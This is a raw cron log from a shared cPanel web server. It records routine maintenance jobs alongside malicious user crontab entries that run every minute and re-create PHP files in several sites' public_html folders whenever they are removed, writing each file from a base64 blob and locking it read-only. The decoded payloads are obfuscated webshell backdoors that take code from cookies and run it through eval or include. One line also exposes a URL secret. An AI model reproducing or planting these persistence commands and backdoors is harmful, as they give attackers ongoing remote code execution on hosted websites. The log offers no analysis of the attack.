Apr 19 06:46:01 medusa CROND[4337]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:46:01 medusa CROND[4338]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:46:01 medusa CROND[4340]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:46:01 medusa CROND[4341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:47:01 medusa CROND[28589]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:47:01 medusa CROND[28590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:47:01 medusa CROND[28591]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:47:01 medusa CROND[28592]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:47:01 medusa CROND[28598]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:47:01 medusa CROND[28599]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:47:01 medusa CROND[28600]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:47:01 medusa CROND[28601]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:47:01 medusa CROND[28603]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:47:01 medusa CROND[28604]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:47:01 medusa CROND[28605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:47:01 medusa CROND[28606]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:47:01 medusa CROND[28608]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 06:48:01 medusa CROND[19976]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:48:01 medusa CROND[19978]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:48:01 medusa CROND[19980]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:48:01 medusa CROND[19981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:48:01 medusa CROND[19984]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:48:01 medusa CROND[19986]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:48:01 medusa CROND[19988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:48:01 medusa CROND[19990]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:48:01 medusa CROND[19998]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:48:01 medusa CROND[20001]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
